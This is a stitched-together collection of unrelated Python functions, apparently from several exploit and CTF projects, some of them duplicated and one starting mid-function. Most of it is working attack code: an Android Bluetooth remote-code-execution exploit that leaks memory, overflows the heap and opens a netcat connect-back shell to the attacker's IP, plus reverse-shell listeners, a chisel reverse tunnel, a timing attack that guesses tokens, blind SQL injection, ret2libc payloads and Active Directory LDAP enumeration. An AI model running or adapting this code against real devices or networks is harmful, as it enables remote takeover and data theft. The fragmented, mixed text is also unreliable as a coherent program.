def _on_method_receive(self, message, data): """After method list is received - upload the hook script""" class_counter = self.class_counter if message['type'] != 'send': return class_name = self.classes[self.class_counter]["name"] if message['payload'] != '<none>': method_list = message['payload'] #print(method_list) self.script.unload() hook_script_code = (hook_jscode_header.format(class_name) + ''.join(_gen_hook_jscode_for_method(class_name, m) for m in method_list) + hook_jscode_footer) #print(hook_script_code) hook_script = self.process.create_script(hook_script_code) hook_script.on('message', self._on_message) hook_script.load() log.info("Hooked methods of class {0}".format(class_name)) else: log.info("Class {0} does not exist.".format(class_name)) self.class_counter += 1 self._hook_next()
def test(): zeroftp_login('admin', 'admin') zeroftp_wrfile('./flag', 'hackedhackedhacked') zeroftp_wrfile('./test1', 'hackedhackedhacked') zeroftp_wrfile('./test2', 'hackedhackedhacked') directory = zeroftp_ls('/') log.info('directory {}'.format(directory)) content = zeroftp_rdfile('./flag') log.info('file {} content {}'.format('./flag', content)) zeroftp_fileinfo('./flag', 0) zeroftp_setfileinfo('test1', 0, 'test2') zeroftp_setfileinfo('test1', 1, 1) zeroftp_mkdir('./zzz') zeroftp_cd('./zzz') zeroftp_wrfile('./123', 'hackedhackedhacked') zeroftp_wrfile('./456', 'hackedhackedhacked') zeroftp_wrfile('./abc', 'hackedhackedhacked') content = zeroftp_rdfile('./456') log.info('file {} content {}'.format('./456', content)) zeroftp_cd('/') directory = zeroftp_ls('/') log.info('directory {}'.format('./flag', directory)) zeroftp_rmdir('/') directory = zeroftp_ls('/') log.info('directory {}'.format(directory))
def send_full_msg_via_stager(r, msg, chunk_size=2, sleep_amt=0.01): """ Transmit an arbitrarily sized message to a listening stager payload. The protocol doing the transmission sends an encoded packet, expecting an empty acknowledgement packet in return for each packet sent. """ for i in range(0, len(msg), MAX_MSG_LEN - 1): time.sleep(SEND_REQ_SAFETY_SLEEP_AMT) chunk = msg[i:i + MAX_MSG_LEN - 1] log.info("Send progress: 0x{:06x}/0x{:06x} ({:3.2f})".format( i, len(msg), float(i) / float(len(msg)))) send_packet(r, encode_packet_for_stager(chunk), chunk_size, sleep_amt) answ = recv_packet(r) if not len(answ) == 1: print( "expecting empty ack package (answ of size 1), got '{}' instead" .format(answ)) assert (False) if answ == "\xff": print("[WARNING] Interrupting the sending...") return None # Send empty packet to signify end of transmission send_packet(r, encode_packet_for_stager("")) answ = recv_packet(r)
def main(target, funcname): global PATH PATH += target + '/' runs = [PATH + x + '/' for x in listdir(PATH) if path.isdir(PATH + x)] runnr = len(runs) log.info("Analyzing {} all {} runs of {}".format(funcname, runnr, target)) all_params = [] for r in runs: parameters = {} funfile = r + funcname + '.dat' if not path.isfile(funfile): log.info("{} not found in {}".format(funcname, r)) continue with open(funfile) as f: content = f.readlines() for l in content: info = json.loads(l) p_names = [x["name"] for x in info["parameters"]] if not p_names: continue for p in info["parameters"]: if p["name"] not in parameters: parameters[p["name"]] = [] parameters[p["name"]].append(p["content"]) find_dub(parameters) all_params.append(parameters) find_dub_all(all_params)
def process(self): """ Iterate on token_length and find more intresting char """ log.info("Start guessing token ..") progress = log.progress('Auth ..') for offset in self._get_token_offsets(): timings = [] for i, char in enumerate(self._charset): self._token[offset] = char t1 = self._get_timing() self.request() t2 = self._get_timing() timings.append(t2 - t1) best_candidate = self._charset[timings.index(max(timings))] self._log(progress, offset, char, t1, t2, timings, i, best_candidate) if self._break_on_time != 0: if (max(timings) > min(timings) + self._break_on_time): break found_char = self._charset[timings.index(max(timings))] self._token[offset] = found_char log.success("Found Char: %d:%x:%c - Best: %s - Avg: %s" % (ord(found_char), ord(found_char), found_char, max(timings), self._avg(timings))) progress.success("DONE! %s" % (self.get_token()))
def crack_rsa(n, e=None, c=None): """ Tries all currently implemented attacks on RSA key. """ log.info("Cracking RSA key") # Wieners attack if e != None: log.waitfor("Trying Wiener's attack") res = wieners_attack(n, e) if res != None: log.succeeded("success!") log.success("Factors: %d %d" % res) return else: log.failed() # Factor log.waitfor("Trying to factor...") res = factor(n) if res != None: p, q = res log.succeeded("success!") log.success("Factors: %d %d" % (p, q)) if e != None: d = calculate_private_key(p, q, e) log.success("d = %d" % d) if c != None: log.info("Possible message: %s" % int2bytes(decrypt(c, d, n))) return else: log.failed("failed")
def get_flags(): log.info("Getting flags... This may take up to a minute...") # Get user-flag with web-shell global user_flag user_flag = exec("type C:\\Users\\Shaun\\Desktop\\user.txt") """ # Get user-flag with user-shell user_shell = get_user() user_shell.sendline("type C:\\Users\\Shaun\\Desktop\\user.txt") user_flag = user_shell.recv() """ # Get root-flag with admin-shell admin_shell = get_admin() admin_shell.recv() admin_shell.sendline("type C:\\Users\\Administrator\\Desktop\\root.txt") admin_shell.recvuntil("root.txt\n") global root_flag root_flag = admin_shell.recvline().decode() clear() print(f"User flag: {user_flag}\r\n") print(f"Root flag: {root_flag}\r\n") input("Press enter to continue!")
def chisel_server(): """ #TODO: Necessary? if port_in_use(8000): raise Exception("Something is running on port 8000! Chisel needs to run on that port.\nPlease close the application on port 8000!")""" log.info("Starting chisel server...") cmd = f"/opt/chisel/chisel_linux server -p 8000 --reverse" popen(cmd)
def process(self): """ Iterate on token_length and find more intresting char """ log.info('Start guessing token ..') self._progress = log.progress('Auth ..') self._m = Manager() self._lock = self._m.Lock() offset = 0 while offset < self._token_length: cost_time = {} with ThreadPoolExecutor(max_workers=self._max_thread) as executor: tokens = ['{}{}'.format(self._token, c) for c in self._charset] tasks = zip(self._charset, executor.map(self.request_wrap, tokens)) for c, t in tasks: cost_time[c] = t best_candidate = max(cost_time, key=cost_time.__getitem__) found_char = best_candidate log.success('Finally Flag: {{:{}<{}}}'.format( self._hidden_char, self._token_length).format(self._token + found_char)) if self._check_manually: log.info('Try again? (Y/N) ') if raw_input().upper().strip() == 'Y': continue offset += 1 self._token += found_char self._progress.success("DONE! {}".format(self._token))
def memory_leak_get_bases(src, src_hci, dst): prog = log.progress('Doing stack memory leak...') # Get leaked stack data. This memory leak gets "deterministic" "garbage" from the stack. result = bluedroid.do_sdp_info_leak(dst, src) # Calculate according to known libc.so and bluetooth.default.so binaries #Nexus-Pixel #likely_some_libc_blx_offset = result[-3][-2] #likely_some_bluetooth_default_global_var_offset = result[6][0] #Moto likely_some_libc_blx_offset = result[6][2] likely_some_bluetooth_default_global_var_offset = result[10][0] libc_text_base = likely_some_libc_blx_offset - LIBC_SOME_BLX_OFFSET bluetooth_default_bss_base = likely_some_bluetooth_default_global_var_offset - BLUETOOTH_BSS_SOME_VAR_OFFSET log.info('libc_base: 0x%08x, bss_base: 0x%08x' % (libc_text_base, bluetooth_default_bss_base)) # Close SDP ACL connection os.system('hcitool dc %s' % (dst, )) time.sleep(0.1) prog.success() return libc_text_base, bluetooth_default_bss_base
def detect_from_cam_and_write(yolo, opname, cap, frameno, create, cv2): try: log.info("Starting the proccessing of the frames") net, ln, labels = Setup(yolo, cv2) while (True): # get next frame ret, frame = cap.read() if not ret: break current_img = frame.copy() current_img = imutils.resize(current_img, width=480) video = current_img.shape frameno += 1 if (frameno % 2 == 0 or frameno == 1): processedImg = ImageProcess(current_img, net, ln, labels, cv2) Frame = processedImg cv2.imshow("Image", Frame) if create is None: fourcc = cv2.VideoWriter_fourcc(*'XVID') create = cv2.VideoWriter(opname, fourcc, 30, (Frame.shape[1], Frame.shape[0]), True) # write frame to output video create.write(Frame) if cv2.waitKey(1) & 0xFF == ord('s'): break except KeyboardInterrupt: log.warn('Interrupted') exit(0)
def UserDefEncrypt(self): printTitle("[-] Users with not the default encryption") OBJECT_TO_SEARCH = '(&(objectCategory=person)(objectClass=user)(msDS-SupportedEncryptionTypes=*))' ATTRIBUTES_TO_SEARCH = [ 'msDS-SupportedEncryptionTypes', 'sAMAccountName' ] result = self.__SearchServerLdap(OBJECT_TO_SEARCH, ATTRIBUTES_TO_SEARCH) for info in result: username = info[1]['sAMAccountName'][0].decode() algoType = info[1]['msDS-SupportedEncryptionTypes'][0].decode() if (algoType == "0"): algoType = "Password is in a reversible encryption or in DES !" elif (algoType == "1"): algoType = "Password is stored in " + highlightRed("CRC32") elif (algoType == "2"): algoType = "Password is stored in " + highlightRed("RSA-MD5") elif (algoType == "4"): algoType = "Password is stored in " + highlightRed( "RC4-HMAC-MD5") elif (algoType == "8"): algoType = "Password is stored in HMAC-SHA1-96-AES128" elif (algoType == "16"): algoType = "Password is stored in HMAC-SHA1-96-AES256" else: algoType = "Password is stored in " + str( algoType) + " encryption" log.info("Username: " + highlightRed(username) + CreateSpace(username) + algoType) return
def main(src_hci, dst): os.system('hciconfig %s sspmode 0' % (src_hci, )) os.system('hcitool dc %s' % (dst, )) #sh_s, stdin, stdout = connectback.create_sockets(NC_PORT, STDIN_PORT, STDOUT_PORT) for i in range(PWN_ATTEMPTS): log.info('Pwn attempt %d:' % (i, )) # Create a new BDADDR src = set_rand_bdaddr(src_hci) #print "TESTTESTTEST" #set_bt_name("TESTTEST", src_hci, src, dst) # Set Name, REMOTE_NAME address search # Try to leak section bases for j in range(LEAK_ATTEMPTS): libc_text_base, bluetooth_default_bss_base = memory_leak_get_bases( src, src_hci, dst) if (libc_text_base & 0xfff == 0) and (bluetooth_default_bss_base & 0xfff == 0): break else: assert True #assert False, "Memory doesn't seem to have leaked as expected. Wrong .so versions?" system_addr = LIBC_TEXT_STSTEM_OFFSET + libc_text_base acl_name_addr = BSS_ACL_REMOTE_NAME_OFFSET + bluetooth_default_bss_base #assert acl_name_addr % 4 == 0 log.info('system: 0x%08x, acl_name: 0x%08x' % (system_addr, acl_name_addr)) pwn(src_hci, dst, bluetooth_default_bss_base, system_addr, acl_name_addr, libc_text_base)
def main(): if len(argv) == 1: io = process("./a.out") else: io = remote(argv[1], int(argv[2])) log.info("get output") out = get_output(io, 10) x0, y0 = z3.BitVecs('x0 y0', 64) x, y = x0, y0 s = z3.SimpleSolver() for v in out: s.add((x + y) & bit64 == v) x, y = xo128(x, y, z3.LShR) ans = [] for i in range(1, sys.maxsize): if s.check().r != 1: break # quit if failed soln = s.model() x, y = (soln[i].as_long() for i in (x0, y0)) ans += [ "ACTF{" + long_to_bytes(x).decode("utf-8")[::-1] + long_to_bytes(y).decode("utf-8")[::-1] + "}" ] for j in range(10): x, y = xo128(x, y) s.add(z3.Or(x0 != soln[x0], y0 != soln[y0])) for a in ans: log.info("possible flag: " + a)
def crack_rsa(n,e = None,c = None): """ Tries all currently implemented attacks on RSA key. """ log.info("Cracking RSA key") # Wieners attack if e != None: log.waitfor("Trying Wiener's attack") res = wieners_attack(n,e) if res != None: log.succeeded("success!") log.success("Factors: %d %d" % res) return else: log.failed() # Factor log.waitfor("Trying to factor...") res = factor(n) if res != None: p, q = res log.succeeded("success!") log.success("Factors: %d %d" % (p, q)) if e != None: d = calculate_private_key(p,q,e) log.success("d = %d" % d) if c != None: log.info("Possible message: %s" % int2bytes(decrypt(c,d,n))) return else: log.failed("failed")
def main(): HOST = 'misc.chal.csaw.io' PORT = 9002 conn = remote(HOST, PORT) for i in range(7): log.info(conn.recvline().decode('utf-8')) p = log.progress('Working') while True: equation_text = conn.recvline(False).decode('utf-8') if equation_text.startswith('flag'): p.success(equation_text) break else: p.status(equation_text) conn.recvuntil('What does X equal?: ') equation = parse(equation_text) solution = solve(equation) conn.sendline(str(solution)) line = conn.recvline(False).decode('utf-8') if line == 'YAAAAAY keep going': pass else: p.failure(line) raise Exception(line) conn.close()
def print_oneg_results(libc_id): oneg_results = run_one_gadget(libc_id) for res in oneg_results: lines = res.split('\n') log.info(lines[0]) for l in lines[1:]: print(' %s' % l) print('')
def start(self): self.listensock = socket.socket(self.family, self.type, self.proto) self.listensock.setsockopt(socket.SOL_SOCKET, socket.SO_REUSEADDR, 1) self.listensock.settimeout(self.timeout) self.listensock.bind(('', self.port)) self.port = self.listensock.getsockname()[1] self.listensock.listen(10) log.info('Handler is waiting for connection on {%s}:%d' % (', '.join(i[1] for i in pwn.get_interfaces()), self.port))
def readCode(shell): # this function downloads the narnialevel.c file and displays it, # and at the end removes the .c file code = shell.download_data('/narnia/' + user + '.c') shell.download_file('/narnia/' + user + '.c') log.info('The code for this level is') print(code) subprocess.call(['rm', user + '.c'])
def prompt_for_match(matches): log.warning('SELECT LIBC VERSION') for i, m in enumerate(matches): log.info('%d: %s' % (i+1, m)) sel = int(input('> ')) print('') return matches[sel-1]
def giveme_log(my_report, template, bs=16): msg_head, msg_medium, msg_tail = template agent_code = r'picoCTF{XXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXX}' message = ''.join([msg_head, my_report, msg_medium, agent_code, msg_tail]) message = pad(message) log.info('plain : %r' % message) print_block(message, bs)
def open_listening_shell(port): """ Opens a listening port on 'port' by invoking ncat in an xterm window. Params: - 'port' - The port to listen on """ log.info("Opening netcat listener for reverse shell...") listener = "nc -lvp %s" % (port,) Popen(["xterm", "-hold", "-e", listener])
def set_rand_bdaddr(src_hci): # Held for redundancy addr = ['%02x' % (ord(c),) for c in os.urandom(6)] # Input your MAC at "final_addr" as below. final_addr = '00:00:00:00:00:00' log.info('Set %s to BDADDR %s' % (src_hci, final_addr)) #time.sleep(1) while bt.hci_devid(final_addr) < 0: time.sleep(0.1) return final_addr
def set_rand_bdaddr(src_hci): addr = ['%02x' % (ord(c),) for c in os.urandom(6)] # NOTW: works only with CSR bluetooth adapters! os.system('sudo bccmd -d %s psset -r bdaddr 0x%s 0x00 0x%s 0x%s 0x%s 0x00 0x%s 0x%s' % (src_hci, addr[3], addr[5], addr[4], addr[2], addr[1], addr[0])) final_addr = ':'.join(addr) log.info('Set %s to new rand BDADDR %s' % (src_hci, final_addr)) #time.sleep(1) while bt.hci_devid(final_addr) < 0: time.sleep(0.1) return final_addr
def gen_dct(self, lines, lsts): self.check_arch(lines[0]) log.info('Arch is {}'.format(self.dct['arch'])) for line in lines: for lst in lsts: if len(lst) == 1: lst += [''] values = Maps().search_pathname(line, lst) if values: self.dct[lst[0]] = values return self.dct
def GetDomainAdmin(self): printTitle("[-] Users who are Domain Admin") OBJECT_TO_SEARCH = '(&(objectCategory=user)(adminCount=1))' result = self.SearchServerLdapUser(OBJECT_TO_SEARCH) for info in result: baseName = info[0] username = info[1] log.info("Username: " + highlightRed(username) + CreateSpace(username) + LdapPathColor(baseName))
def UserNoDelegation(self): printTitle("[-] Protecting Privileged Domain Accounts") OBJECT_TO_SEARCH = '(&(objectCategory=person)(objectClass=user)(userAccountControl:1.2.840.113556.1.4.803:=1048576))' result = self.SearchServerLdapUser(OBJECT_TO_SEARCH) for info in result: baseName = info[0] username = info[1] log.info("Username: " + highlightRed(username) + CreateSpace(username) + LdapPathColor(baseName))
def on_message(message, data): if message['type'] == 'send': info = json.loads(str(message['payload']).encode('string-escape'), strict=False) filename = PATH + info["name"] + ".dat" with open(filename, "a+") as f: json.dump(info, f) f.write("\n") log.info("stored call to " + info["name"]) else: log.warning("Could not parse: " + str(message))
def get_process(): r = None if args.GDB: log.info("=> GDB run") r = process('./%s' % ExploitInfo.name) gdb.attach(r.pid, ExploitInfo.gdb) else: log.info("=> LOCAL run") r = process('./%s' % ExploitInfo.name) return r
def PasswordNotExpire(self): printTitle("[-] Users with Password Not Expire") OBJECT_TO_SEARCH = '(&(objectcategory=user)(userAccountControl:1.2.840.113556.1.4.803:=65536))' result = self.SearchServerLdapUser(OBJECT_TO_SEARCH) for info in result: baseName = info[0] username = info[1] log.info("Username: " + highlightRed(username) + CreateSpace(username) + LdapPathColor(baseName))
def main(): log.info("Finding a tricky RNG seed value") tricky = find_tricky_rng_seed() solver = Solver() # Find a mask that has a long chain of invocations until a prime is found p = log.progress("Looking for a suitable mask") while True: mask = random.randrange(1 << 256) if (invocations := solver.get_invocations(mask)) >= 256: break
def interactive_shell(sh_s, stdin_s, stdout_s, my_ip, stdin_port, stdout_port): sh_fd, (client_ip, _) = sh_s.accept() log.info('Connect form %s. Sending commands. Shell:' % (client_ip, )) sh_fd.sendall(''' exec 1>/dev/null 2>/dev/null toybox nc {ip} {stdin} | sh -i 2>&1 | toybox nc {ip} {stdout} '''.format(ip=my_ip, stdin=stdin_port, stdout=stdout_port)) sh_fd.close() stdin, _ = stdin_s.accept() stdout, _ = stdout_s.accept() # VOODOO - maybe this somehow helps Android not to kill our sockets def keepalive1(): while True: stdout.send('a') time.sleep(1) t1 = threading.Thread(target=keepalive1) t1.daemon = True t1.start() def keepalive2(): while True: stdin.recv(1024) time.sleep(1) t2 = threading.Thread(target=keepalive2) t2.daemon = True t2.start() def command_proxy(send_cb): def send_wrapper(data): return send_cb(data) return send_wrapper a = tubes.remote.remote.fromsocket(stdin) b = tubes.remote.remote.fromsocket(stdout) c = tubes.tube.tube() c.recv_raw = b.recv c.send_raw = command_proxy(a.send) c.interactive() while True: readable, _, _ = select.select([sys.stdin.buffer, stdout], [], []) for fd in readable: if fd is stdout: sys.stdout.buffer.write(stdout.recv(1024)) sys.stdout.buffer.flush() else: stdin.sendall(os.read(sys.stdin.fileno(), 1024))
def choose_alphabet(ciphertext, alphabet): if alphabet is None: log.info('Trying to guess alphabet') ct = filter(lambda c: c in string.letters, ciphertext) if ct.isupper(): log.success('Using uppercase letters') alphabet = string.uppercase elif ct.islower(): log.success('Using lowercase letters') alphabet = string.lowercase if alphabet is None: raise TypeError('no alphabet') return alphabet
def interactive_shell(sh_s, stdin_s, stdout_s, my_ip, stdin_port, stdout_port): sh_fd, (client_ip, _) = sh_s.accept() log.info('Connect form %s. Sending commands. Shell:' % (client_ip,)) sh_fd.sendall(''' exec 1>/dev/null 2>/dev/null toybox nc {ip} {stdin} | sh -i 2>&1 | toybox nc {ip} {stdout} '''.format(ip=my_ip, stdin=stdin_port, stdout=stdout_port)) sh_fd.close() stdin, _ = stdin_s.accept() stdout, _ = stdout_s.accept() # VOODOO - maybe this somehow helps Android not to kill our sockets def keepalive1(): while True: stdout.send('a') time.sleep(1) t1 = threading.Thread(target=keepalive1) t1.daemon = True t1.start() def keepalive2(): while True: stdin.recv(1024) time.sleep(1) t2 = threading.Thread(target=keepalive2) t2.daemon = True t2.start() def command_proxy(send_cb): def send_wrapper(data): return send_cb(data) return send_wrapper a = tubes.remote.remote.fromsocket(stdin) b = tubes.remote.remote.fromsocket(stdout) c = tubes.tube.tube() c.recv_raw = b.recv c.send_raw = command_proxy(a.send) c.interactive() while True: readable, _, _ = select.select([sys.stdin.buffer, stdout], [], []) for fd in readable: if fd is stdout: sys.stdout.buffer.write(stdout.recv(1024)) sys.stdout.buffer.flush() else: stdin.sendall(os.read(sys.stdin.fileno(), 1024))
def pause(n = None): """Waits for either user input or a specific number of seconds.""" try: if n is None: log.info('Paused (press enter to continue)') raw_input('') else: log.waitfor('Continueing in') for i in range(n, 0, -1): log.status('%d... ' % i) pwn.sleep(1) log.succeeded('Now') except KeyboardInterrupt: log.warning('Interrupted') sys.exit(1)
def pwn(src_hci, dst, bluetooth_default_bss_base, system_addr, acl_name_addr, my_ip, libc_text_base): # Gen new BDADDR, so that the new BT name will be cached src = set_rand_bdaddr(src_hci) # Payload is: '"\x17AAAAAAsysm";\n<bash_commands>\n#' # 'sysm' is the address of system() from libc. The *whole* payload is a shell script. # 0x1700 == (0x1722 & 0xff00) is the "event" of a "HORRIBLE_HACK" message. payload = struct.pack('<III', 0xAAAA1722, 0x41414141, system_addr) + b'";\n' + \ SHELL_SCRIPT.format(ip=my_ip, port=NC_PORT) + b'\n#' assert len(payload) < MAX_BT_NAME assert b'\x00' not in payload # Puts payload into a known bss location (once we create a BNEP connection). set_bt_name(payload, src_hci, src, dst) prog = log.progress('Connecting to BNEP again') bnep = bluetooth.BluetoothSocket(bluetooth.L2CAP) bnep.bind((src, 0)) bnep.connect((dst, BNEP_PSM)) prog.success() prog = log.progress('Pwning...') # Each of these messages causes BNEP code to send 100 "command not understood" responses. # This causes list_node_t allocations on the heap (one per reponse) as items in the xmit_hold_q. # These items are popped asynchronously to the arrival of our incoming messages (into hci_msg_q). # Thus "holes" are created on the heap, allowing us to overflow a yet unhandled list_node of hci_msg_q. for i in range(20): bnep.send(binascii.unhexlify('8109' + '800109' * 100)) # Repeatedly trigger the vuln (overflow of 8 bytes) after an 8 byte size heap buffer. # This is highly likely to fully overflow over instances of "list_node_t" which is exactly # 8 bytes long (and is *constantly* used/allocated/freed on the heap). # Eventually one overflow causes a call to happen to "btu_hci_msg_process" with "p_msg" # under our control. ("btu_hci_msg_process" is called *constantly* with messages out of a list) for i in range(1000): # If we're blocking here, the daemon has crashed _, writeable, _ = select.select([], [bnep], [], PWNING_TIMEOUT) if not writeable: break bnep.send(binascii.unhexlify('810100') + struct.pack('<II', 0, acl_name_addr)) else: log.info("Looks like it didn't crash. Possibly worked") prog.success()
def main(): # payload = "" padChar2 = "\x90" padSize = 32 # Initial payload hello = "\nHello, world!\n\n" # We are using putchar function from libc # as example to chain multiple function calls/gadgets # For each character in our phrase, there is putchar call payload = padChar2 * padSize for char in hello: # Generate payload for printing 'Hello, world!' # payload += p32(libc_entry + offset_putchar) # function p32 changes payload += p32(libc_entry + offset_putchar) # memoryaddress to correct format (reversed and opcoded) # whattodo after = pop/ret gadget payload += p32(libc_entry + offset_pr) # pwntools function pack, is packing our input to 32-bit memory # address with correct syntax. Ord is changing character to ASCII code payload += pack(ord(char), 32, 'little', # function arguments False).replace("\x00", "\xff") # Replacing nulls with '\xff', which are generated in by packing to # fullfil 32-bit size payload += p32(libc_entry + offset_pr) payload += p32(0xffffffff) # Some address, we do not care, we are exiting # so value does not matter. payload += p32(libc_entry + offset_exit) # Writing payload to txt file just in case, # if we want to run program without script f = open("payload.txt", "w+") f.write(payload) f.close # C program is using payload as args try: p = process(["../vuln_progs/Overflow", payload]) log.info(p.recvall(timeout=0.5)) except PwnlibException: print("Nulls in arguments.")
def memory_leak_get_bases(src, src_hci, dst): prog = log.progress('Doing stack memory leak...') # Get leaked stack data. This memory leak gets "deterministic" "garbage" from the stack. result = bluedroid.do_sdp_info_leak(dst, src) # Calculate according to known libc.so and bluetooth.default.so binaries likely_some_libc_blx_offset = result[-3][-2] likely_some_bluetooth_default_global_var_offset = result[6][0] libc_text_base = likely_some_libc_blx_offset - LIBC_SOME_BLX_OFFSET bluetooth_default_bss_base = likely_some_bluetooth_default_global_var_offset - BLUETOOTH_BSS_SOME_VAR_OFFSET log.info('libc_base: 0x%08x, bss_base: 0x%08x' % (libc_text_base, bluetooth_default_bss_base)) # Close SDP ACL connection os.system('hcitool dc %s' % (dst,)) time.sleep(0.1) prog.success() return libc_text_base, bluetooth_default_bss_base
def test(cmd): global r echo = 'echo ' + '3' * (len(cmd)-5) p = 'tag ' + echo p1 = echo + '\x00' * (16-len(echo)) p2 = cmd + '\x00' * (16-len(cmd)) gg = 'tag ' + p1+'s'*(16*8-1)*16+p2+'s'*(16*8-1)*16 res1 = e(gg) log.info(res1) res1 = int(res1, 16) gg = 'tag ' + p1+'s'*(16*8-1)*16+p1+'s'*(16*8-1)*16 res2 = e(gg) log.info(res2) res2 = int(res2, 16) res3 = e(p) log.info(res3) res3 = int(res3, 16) log.info(e(cmd,mac = format(res1^res2^res3, 'x')))
def main(src_hci, dst, my_ip): os.system('hciconfig %s sspmode 0' % (src_hci,)) os.system('hcitool dc %s' % (dst,)) sh_s, stdin, stdout = connectback.create_sockets(NC_PORT, STDIN_PORT, STDOUT_PORT) for i in range(PWN_ATTEMPTS): log.info('Pwn attempt %d:' % (i,)) # Create a new BDADDR src = set_rand_bdaddr(src_hci) # Try to leak section bases for j in range(LEAK_ATTEMPTS): libc_text_base, bluetooth_default_bss_base = memory_leak_get_bases(src, src_hci, dst) if (libc_text_base & 0xfff == 0) and (bluetooth_default_bss_base & 0xfff == 0): break else: assert False, "Memory doesn't seem to have leaked as expected. Wrong .so versions?" system_addr = LIBC_TEXT_STSTEM_OFFSET + libc_text_base acl_name_addr = BSS_ACL_REMOTE_NAME_OFFSET + bluetooth_default_bss_base assert acl_name_addr % 4 == 0 log.info('system: 0x%08x, acl_name: 0x%08x' % (system_addr, acl_name_addr)) pwn(src_hci, dst, bluetooth_default_bss_base, system_addr, acl_name_addr, my_ip, libc_text_base) # Check if we got a connectback readable, _, _ = select.select([sh_s], [], [], PWNING_TIMEOUT) if readable: log.info('Done') break else: assert False, "Pwning failed all attempts" connectback.interactive_shell(sh_s, stdin, stdout, my_ip, STDIN_PORT, STDOUT_PORT)
parser = ArgumentParser(description='Start the attack server') parser.add_argument('--attack-interval', default=DEFAULT_ATTACK_INTERVAL, type=int, help='the amount of time in seconds between each attack check') parser.add_argument('--starting-delay', default=DEFAULT_START_DELAY, type=int, help='the amount of time in seconds between each attack check') parser.add_argument('--prod', action='store_true', help='start server in production mode, i.e. available outside network)') parser.add_argument('--no-attack', action='store_true', help="Don't spawn attack thread") args = parser.parse_args() if not args.no_attack: attack_interval = args.attack_interval starting_delay = args.starting_delay attacker = AttackCoordinator(DATABASE, attack_interval=attack_interval, starting_delay=starting_delay) log.info("Spawning attack thread") t = Thread(target=attacker.attack_loop) t.daemon = True # catches ctrl-c interupts t.start() if args.prod: app.run(host='0.0.0.0') else: app.run(host='0.0.0.0', debug=True)
def interactive(self, prompt = text.boldred('$') + ' ', clean_sock = True, flush_timeout = None): if clean_sock: self.clean_sock() log.info('Switching to interactive mode') import readline debug = self.debug timeout = self.timeout self.debug = False self.settimeout(0.1) def write(s): sys.stdout.write(s) def save(): write('\x1b[s') def restore(): write('\x1b[u') def reprompt(): write(prompt) write(readline.get_line_buffer()) sys.stdout.flush() running = [True] # the old by-ref trick def loop(): buf = '' buft = time.time() newline = True while running[0]: if not self.can_recv(0.1): continue try: data = self.recv() except EOFError: write('\nConnection closed\n') running[0] = False break now = time.time() lines = data.split('\n') if len(lines) == 1: buf += lines[0] if buf == '': continue # 1. if the readline buffer is empty there is no position to # remember # 2. if we are not just after a newline we already f****d # the readline buffer up # 3. if the timeout is reached, screw it we'll f**k the # readline buffer up in exchange for some output if readline.get_line_buffer() == '' or \ not newline or \ (flush_timeout <> None and now - buft >= flush_timeout): if newline: write('\x1b[1G') else: restore() write(buf) save() reprompt() buf = '' buft = now newline = False else: lines[0] = buf + lines[0] if newline: save() write('\x1b[1G\x1b[J') else: restore() write('\x1b[J') for line in lines[:-1]: write(line + '\n') buf = lines[-1] buft = now reprompt() if newline: restore() newline = True save() t = Thread(target = loop) t.daemon = True t.start() try: while True: self.send(raw_input(prompt) + '\n') if not running[0]: t.join() break except (KeyboardInterrupt, EOFError): if running[0]: running[0] = False t.join() write('\nInterrupted\n') else: t.join() except IOError: running[0] = False t.join() write('Connection closed\n') self.debug = debug self.settimeout(timeout)
def close(self): if self.sock: self.sock.close() self.sock = None log.info('Closed connection to %s on port %d' % self.target)
break prompt.success(payload) return name def guessLength(query, start = 0, end = 100): prompt = log.progress("Try payload") for i in range(start, end): payload = payloadLength.format(query, i) prompt.status(payload) r = post(url, data = {"search": payload}) if SUCCESS in r.text: prompt.success(payload) return i prompt.failure("Fail!") """ # break database query = "database()" l = guessLength(query) log.info("DB length: " + str(l)) dbname = guessContent(query, l) log.info("DB name: " + dbname) # sctf_injection # break table query = "(SELECT table_name FROM information_schema.tables WHERE table_schema='sctf_injection' LIMIT 0,1)" l = guessLength(query) log.info("table length: " + str(l)) table = guessContent(query, l) log.info("table name: " + table) # candidates # break column
def close(self): basesock.close(self) if self.listensock: self.listensock.close() self.listensock = None log.info('Stopped handler on port %d' % self.port)